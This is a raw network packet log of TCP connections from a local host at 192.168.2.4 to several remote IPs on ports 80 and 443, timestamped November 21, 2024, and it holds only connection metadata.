Nov 21, 2024 07:10:16.551285028 CET	443	49777	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.551448107 CET	443	49777	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.551527977 CET	49777	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.551594019 CET	49777	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.551615000 CET	443	49777	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.551651955 CET	49777	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.551660061 CET	443	49777	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.554389954 CET	49784	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.554477930 CET	443	49784	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.554574966 CET	49784	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.554728985 CET	49784	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.554776907 CET	443	49784	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.602596045 CET	443	49778	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.602675915 CET	443	49778	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.602747917 CET	49778	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.603116989 CET	49778	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.603130102 CET	443	49778	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.603140116 CET	49778	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.603143930 CET	443	49778	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.606472969 CET	49785	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.606542110 CET	443	49785	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.606667995 CET	49785	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.606844902 CET	49785	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.606877089 CET	443	49785	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.802162886 CET	443	49779	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.802793026 CET	49779	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.802808046 CET	443	49779	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.803433895 CET	49779	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.803440094 CET	443	49779	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:17.253674984 CET	443	49779	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:17.253720999 CET	443	49779	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:17.253787994 CET	49779	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:17.254064083 CET	49779	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:17.254085064 CET	443	49779	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:17.254100084 CET	49779	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:17.254106998 CET	443	49779	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:17.257539034 CET	49786	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:17.257633924 CET	443	49786	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:17.257766008 CET	49786	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:17.257989883 CET	49786	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:17.258028030 CET	443	49786	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:17.465914011 CET	443	49780	188.114.97.3	192.168.2.4
Nov 21, 2024 07:10:17.466010094 CET	49780	443	192.168.2.4	188.114.97.3
Nov 21, 2024 07:10:17.468682051 CET	49780	443	192.168.2.4	188.114.97.3
Nov 21, 2024 07:10:17.468698025 CET	443	49780	188.114.97.3	192.168.2.4
Nov 21, 2024 07:10:17.469034910 CET	443	49780	188.114.97.3	192.168.2.4
Nov 21, 2024 07:10:17.512095928 CET	49780	443	192.168.2.4	188.114.97.3
Nov 21, 2024 07:10:17.533448935 CET	49780	443	192.168.2.4	188.114.97.3
Nov 21, 2024 07:10:17.533479929 CET	49780	443	192.168.2.4	188.114.97.3
Nov 21, 2024 07:10:17.533804893 CET	443	49780	188.114.97.3	192.168.2.4
Nov 21, 2024 07:10:17.684151888 CET	80	49781	185.215.113.43	192.168.2.4
Nov 21, 2024 07:10:17.685343981 CET	49781	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:17.689074039 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:17.689480066 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:17.808898926 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:17.808957100 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:17.809029102 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:17.809086084 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:17.809341908 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:17.929848909 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:18.156745911 CET	443	49782	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.161564112 CET	49782	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.161603928 CET	443	49782	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.162143946 CET	49782	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.162157059 CET	443	49782	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.282185078 CET	443	49783	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.286236048 CET	49783	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.286288977 CET	443	49783	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.287441969 CET	49783	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.287453890 CET	443	49783	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.341600895 CET	443	49784	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.348232031 CET	49784	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.348315954 CET	443	49784	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.359199047 CET	49784	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.359215021 CET	443	49784	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.456660986 CET	443	49785	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.498701096 CET	49785	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.526741982 CET	49785	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.526752949 CET	443	49785	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.527949095 CET	49785	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.527955055 CET	443	49785	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.597570896 CET	443	49782	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.597625971 CET	443	49782	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.597713947 CET	49782	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.641928911 CET	49782	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.641977072 CET	443	49782	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.642007113 CET	49782	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.642024040 CET	443	49782	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.650068045 CET	49788	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.650141954 CET	443	49788	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.650242090 CET	49788	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.650798082 CET	49788	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.650831938 CET	443	49788	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.726875067 CET	443	49783	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.726953983 CET	443	49783	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.727029085 CET	49783	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.744057894 CET	49783	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.744107962 CET	443	49783	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.744138002 CET	49783	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.744153976 CET	443	49783	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.785684109 CET	443	49784	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.785826921 CET	443	49784	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.785912991 CET	49784	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.879384041 CET	49789	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.879468918 CET	443	49789	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.879570007 CET	49789	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.886698961 CET	49784	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.886698961 CET	49784	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.886765957 CET	443	49784	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.886797905 CET	443	49784	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.911757946 CET	443	49785	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.911907911 CET	443	49785	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:18.912094116 CET	49785	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:18.971050978 CET	443	49786	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:19.007056952 CET	49786	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:19.007091999 CET	443	49786	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:19.008066893 CET	49786	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:19.008081913 CET	443	49786	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:19.008368015 CET	49789	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:19.008415937 CET	443	49789	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:19.022583008 CET	49785	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:19.022640944 CET	443	49785	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:19.022675037 CET	49785	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:19.022691011 CET	443	49785	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:19.039895058 CET	49790	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:19.039978981 CET	443	49790	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:19.040059090 CET	49790	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:19.040865898 CET	49790	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:19.040901899 CET	443	49790	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:19.041882992 CET	49791	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:19.041918993 CET	443	49791	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:19.041990995 CET	49791	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:19.042231083 CET	49791	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:19.042256117 CET	443	49791	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:19.195530891 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.195583105 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.195591927 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.195595980 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.195652962 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.195662975 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.195673943 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.195679903 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.195679903 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.195686102 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.195709944 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.195709944 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.195755959 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.195810080 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.195820093 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.195828915 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.195847988 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.195875883 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.315215111 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.315298080 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.315346956 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.315382004 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.396928072 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.397042036 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.397052050 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.397099972 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.401118040 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.401241064 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.401273012 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.401307106 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.405953884 CET	443	49786	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:19.406004906 CET	443	49786	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:19.406075954 CET	49786	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:19.406284094 CET	49786	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:19.406284094 CET	49786	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:19.406327963 CET	443	49786	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:19.406356096 CET	443	49786	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:19.409207106 CET	49792	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:19.409252882 CET	443	49792	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:19.409338951 CET	49792	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:19.409487009 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.409548044 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.409574032 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.409616947 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.409696102 CET	49792	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:19.409725904 CET	443	49792	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:19.417859077 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.417923927 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.417969942 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.418015957 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.426337004 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.426428080 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.426476002 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.426529884 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.434676886 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.434741020 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.434779882 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.434827089 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.443027020 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.443094015 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.443142891 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.443187952 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.451416969 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.451472998 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.451483965 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.451519966 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.459790945 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.459856033 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.459902048 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.460087061 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.467446089 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.467520952 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.467577934 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.467637062 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.475037098 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.475100994 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.475121975 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.475172043 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.598016024 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.598089933 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.598191977 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.598342896 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.600559950 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.600634098 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.600663900 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.600737095 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.604424000 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.604506969 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.604614973 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.604665995 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.609555006 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.609616041 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.609616041 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.609659910 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.614622116 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.614681005 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.614710093 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.614752054 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.619677067 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.619734049 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.619786978 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.619837999 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.624794960 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.624842882 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.624877930 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.624916077 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.629848003 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.629894972 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.629926920 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.629968882 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.634946108 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.635013103 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.635154009 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.635200977 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.640055895 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.640115023 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.640152931 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.640194893 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.645128965 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.645195007 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.645232916 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.645282984 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.650211096 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.650265932 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.650276899 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.650322914 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.655340910 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.655399084 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.655443907 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.655486107 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.660407066 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.660449028 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.660499096 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.660542011 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.665477991 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.665541887 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.665608883 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.665657043 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.670567989 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.670609951 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.670625925 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.670666933 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.799268961 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.799333096 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.799346924 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.799376965 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.801279068 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.801330090 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.801354885 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.801403046 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.805419922 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.805495977 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.805536985 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.805581093 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.809678078 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.809731007 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.809757948 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.809803009 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.813857079 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.813910961 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.813934088 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.813977957 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.818028927 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.818085909 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.818115950 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.818161011 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.822221041 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.822269917 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.822339058 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.822384119 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.826469898 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.826524973 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.826562881 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.826608896 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.830636024 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.830698013 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.830743074 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.830822945 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.834851980 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.834901094 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.834943056 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.834984064 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.839093924 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.839169025 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.839211941 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.839255095 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.843271017 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.843323946 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.843470097 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.843523026 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.847484112 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.847539902 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.847584009 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.847640991 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.851766109 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.851814985 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.851887941 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.851937056 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.856549025 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.856597900 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.856749058 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.856796026 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.860466957 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.860519886 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:19.860541105 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:19.860555887 CET	49787	80	192.168.2.4	185.215.113.16
